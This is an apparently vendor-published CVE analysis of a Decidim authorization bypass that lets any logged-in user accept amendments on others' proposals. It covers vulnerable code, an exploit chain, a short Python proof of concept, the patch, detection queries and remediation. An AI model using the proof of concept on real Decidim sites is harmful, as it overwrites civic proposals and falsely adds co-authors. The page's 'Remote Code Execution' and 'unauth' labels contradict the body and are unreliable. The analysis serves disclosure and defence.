home intel cve-2026-40869-decidim-amendment-authorization-bypass-rce
CVE Analysis 2026-04-21 · 7 min read

CVE-2026-40869: Decidim Amendment Authorization Bypass Enables Privilege Escalation

Any authenticated Decidim user can accept or reject amendments on proposals they don't own, hijacking authorship. Affects versions 0.19.0 through 0.30.4 and 0.31.0.

#authorization-bypass#privilege-escalation#access-control#participatory-democracy#authenticated-attack
Technical mode — for security professionals
▶ Attack flow — CVE-2026-40869 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-40869Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-40869 is a broken authorization vulnerability in Decidim, the Ruby on Rails-based participatory democracy framework deployed by municipalities, universities, and civic organizations worldwide. Any registered and authenticated user — regardless of their relationship to a proposal — can invoke the amendment acceptance and rejection endpoints on proposals they do not own. The consequence is twofold: an attacker can silently alter proposal content by accepting attacker-controlled amendments, and the amendment author is automatically elevated to co-author of the original proposal via Decidim's coauthorship mechanism. This transforms a horizontal privilege escalation into a content-integrity and identity-spoofing primitive across the platform.

The vulnerability was introduced in version 0.19.0 when the amendments subsystem was added, and persists through 0.30.4 and 0.31.0. Fixed in 0.30.5 and 0.31.1.

Affected Component

The vulnerable surface lives in the amendments controller and its associated authorization layer inside the decidim-core gem. The specific files implicated by the patch are:

  • decidim-core/app/controllers/decidim/amendments_controller.rb
  • decidim-core/app/commands/decidim/accept_amendment.rb
  • decidim-core/app/commands/decidim/reject_amendment.rb
  • decidim-core/app/policies/decidim/amendment_policy.rb

The amendments feature is enabled per-component (e.g., the Proposals component). When active, any user may submit an amendment to any proposal. The original proposal author is supposed to be the only party authorized to accept or reject those amendments. That invariant was not enforced.

Root Cause Analysis

The AmendmentsController exposes accept and reject actions. Prior to the fix, the Pundit policy backing these actions did not verify that current_user was the author of the amendable resource (the original proposal). It only verified that the user was authenticated.

# decidim-core/app/policies/decidim/amendment_policy.rb
# VULNERABLE (pre-0.30.5 / pre-0.31.1)

class Decidim::AmendmentPolicy < Decidim::ApplicationPolicy
  def accept?
    # BUG: only checks user is present — does NOT verify user == amendable.authors.first
    user.present?
  end

  def reject?
    # BUG: identical missing check — any authenticated user can reject amendments
    user.present?
  end
end

The controller calls authorize! amendment, :accept? via Pundit, which resolves to the policy above. Because user.present? is always true for any authenticated session, authorization is unconditionally granted.

# decidim-core/app/controllers/decidim/amendments_controller.rb
# VULNERABLE

def accept
  @amendment = Amendable::Amendment.find(params[:id])
  authorize! @amendment, :accept?     # <-- resolves to user.present? — always passes

  AcceptAmendment.call(@amendment, current_user) do
    on(:ok)     { redirect_to polymorphic_path(@amendment.amendable) }
    on(:invalid){ render :show }
  end
end

def reject
  @amendment = Amendable::Amendment.find(params[:id])
  authorize! @amendment, :reject?     # <-- same broken check

  RejectAmendment.call(@amendment, current_user) do
    on(:ok)     { redirect_to polymorphic_path(@amendment.amendable) }
    on(:invalid){ render :show }
  end
end

When AcceptAmendment runs, it merges the amendment's body into the original proposal and — critically — calls Coauthorable#add_coauthor with the amendment author, permanently attaching them as a co-author of the original proposal.

# decidim-core/app/commands/decidim/accept_amendment.rb
# VULNERABLE — coauthorship promotion with no privilege gate upstream

def accept_amendment
  @amendment.amendable.update!(
    body: @amendment.emendation.body,
    title: @amendment.emendation.title
  )
  # Grants coauthorship to the amendment author on the ORIGINAL proposal
  @amendment.amendable.add_coauthor(@amendment.emendation.authors.first)
  @amendment.update!(state: "accepted")
end
Root cause: AmendmentPolicy#accept? and #reject? only assert user.present?, never validating that current_user is an author of the amendable resource, granting every authenticated session full control over every proposal's amendment lifecycle.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker registers a legitimate account on the target Decidim instance (self-registration
   may be open, or a low-privilege account is sufficient).

2. Attacker identifies a high-value proposal P owned by victim user V, with amendments
   enabled on the Proposals component.

3. Attacker submits a malicious amendment A against P, injecting attacker-controlled
   body/title content (disinformation, spam, or defamatory text).

4. Attacker issues authenticated POST to:
     POST /assemblies//f//amendments//accept
   with a valid CSRF token from their own session. No additional parameters required.

5. AmendmentsController#accept calls authorize!(@amendment, :accept?) which resolves
   to AmendmentPolicy#accept? => user.present? => TRUE for any logged-in user.

6. AcceptAmendment command fires:
     a. Overwrites proposal P's body and title with attacker content.
     b. Calls P.add_coauthor(attacker_account) — attacker now listed as co-author of P.
     c. Sets amendment state to "accepted".

7. Victim V's proposal now carries attacker content and attacker's name as co-author.
   Public-facing proposal page reflects both changes immediately.

8. Repeat across any proposal on the platform with amendments enabled.

The attack requires no special tooling. A single authenticated HTTP request with a valid CSRF token (trivially obtained from the attacker's own session on the same origin) is sufficient. The CSRF token is not proposal-scoped.

# Minimal PoC — illustrative, not weaponized
import requests

SESSION_COOKIE = "YOUR_SESSION_COOKIE"
CSRF_TOKEN     = "YOUR_AUTHENTICITY_TOKEN"
BASE_URL       = "https://target.decidim.example"
AMENDMENT_ID   = 42   # amendment authored by attacker against victim's proposal

s = requests.Session()
s.cookies.set("_decidim_session", SESSION_COOKIE)

resp = s.post(
    f"{BASE_URL}/assemblies/my-assembly/f/1/amendments/{AMENDMENT_ID}/accept",
    data={"authenticity_token": CSRF_TOKEN},
    allow_redirects=False
)
# HTTP 302 => amendment accepted, proposal body overwritten, coauthorship granted
print(resp.status_code, resp.headers.get("Location"))

Memory Layout

This is a logic/authorization vulnerability rather than a memory-corruption primitive, so traditional heap diagrams do not apply. However, the ActiveRecord object graph state transition is the relevant "layout" to reason about:

OBJECT STATE BEFORE EXPLOIT:
  Proposal P:
    id:      1337
    title:   "Victim's legitimate proposal"
    body:    "Original content authored by V"
    authors: [ UserV (id=10) ]                  <-- V is sole author

  Amendment A:
    id:      42
    amendable_id:   1337
    emendation:     Emendation { body: "ATTACKER CONTENT", authors: [UserX (id=99)] }
    state:   "evaluating"

OBJECT STATE AFTER EXPLOIT (accept called by UserX, id=99):
  Proposal P:
    id:      1337
    title:   "ATTACKER TITLE"                   <-- OVERWRITTEN
    body:    "ATTACKER CONTENT"                 <-- OVERWRITTEN
    authors: [ UserV (id=10), UserX (id=99) ]   <-- ATTACKER INJECTED AS CO-AUTHOR

  Amendment A:
    state:   "accepted"                         <-- IMMUTABLE, cannot be rolled back via UI

Once state is set to "accepted", Decidim's UI provides no built-in rollback. An administrator must directly manipulate the database to restore the original proposal content. The co-authorship record in decidim_coauthorships persists independently.

Patch Analysis

The fix in 0.30.5 and 0.31.1 corrects AmendmentPolicy to assert that the acting user is an author of the amendable resource, not merely authenticated:

# BEFORE (vulnerable — any authenticated user passes):
class Decidim::AmendmentPolicy < Decidim::ApplicationPolicy
  def accept?
    user.present?
  end

  def reject?
    user.present?
  end
end

# AFTER (patched — 0.30.5 / 0.31.1):
class Decidim::AmendmentPolicy < Decidim::ApplicationPolicy
  def accept?
    return false unless user.present?
    # Verify acting user is an author of the original amendable resource
    record.amendable.authors.include?(user)
  end

  def reject?
    return false unless user.present?
    record.amendable.authors.include?(user)
  end
end

The patch is minimal and correct. record in Pundit policy context is the Amendment instance; record.amendable walks the association to the original proposal; .authors.include?(user) checks the decidim_coauthorships join table. Only users already listed as authors of the proposal can now trigger state transitions on its amendments.

No migration is required — the fix is purely policy-layer. Existing accepted amendments with injected co-authors are not remediated retroactively by the upgrade; administrators should audit decidim_coauthorships for anomalies dating from the vulnerable window.

Detection and Indicators

Because Decidim logs controller actions via Rails' standard logger, defenders can grep for anomalous amendment acceptance patterns:

DETECTION QUERIES (Rails log / SIEM):

# Identify accept/reject actions where actor != proposal author
grep 'amendments/.*/accept\|amendments/.*/reject' production.log \
  | awk '{print $1, $2, $NF}'

# PostgreSQL: cross-reference coauthorships created near amendment acceptance
SELECT ca.decidim_author_id, ca.decidim_coauthorable_id, ca.created_at,
       a.state, a.updated_at
FROM   decidim_coauthorships ca
JOIN   decidim_amendments    a  ON a.decidim_amendable_id = ca.decidim_coauthorable_id
WHERE  a.state = 'accepted'
  AND  ABS(EXTRACT(EPOCH FROM (ca.created_at - a.updated_at))) < 5
ORDER  BY ca.created_at DESC;

# Flag: coauthorship.created_at ≈ amendment.updated_at (same transaction)
# AND coauthorship author was NOT a prior author of the proposal

Indicators of compromise:

  • Proposals with co-authors who have no prior editing history on the proposal
  • decidim_amendments.state = 'accepted' records where decidim_coauthorships.decidim_author_id does not match the original proposal's author at creation time
  • Rapid sequential amendment acceptance across multiple proposals from a single user_id
  • HTTP 302 responses to POST /*/amendments/*/accept from users who are not proposal owners in application logs

Remediation

Primary: Upgrade to decidim gem version 0.30.5 or 0.31.1 immediately. The fix is a two-line policy change with no breaking API surface.

Workaround (if upgrade is not immediately possible): Disable amendment reactions at the component configuration level. In the admin panel, navigate to the Proposals component settings and disable Amendments. This removes the feature entirely, eliminating the attack surface at the cost of functionality.

Post-upgrade audit: Run the PostgreSQL query above against your production database. For any suspicious co-authorship entries, use decidim_versions (if PaperTrail is enabled) to reconstruct original proposal content. Manually remove illegitimate co-authorship records from decidim_coauthorships after confirming the anomaly.

Defense in depth: Rate-limit POST */amendments/*/accept and */reject endpoints at the reverse proxy level. These are low-frequency legitimate actions; more than ~5 requests per user per minute warrants alerting.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →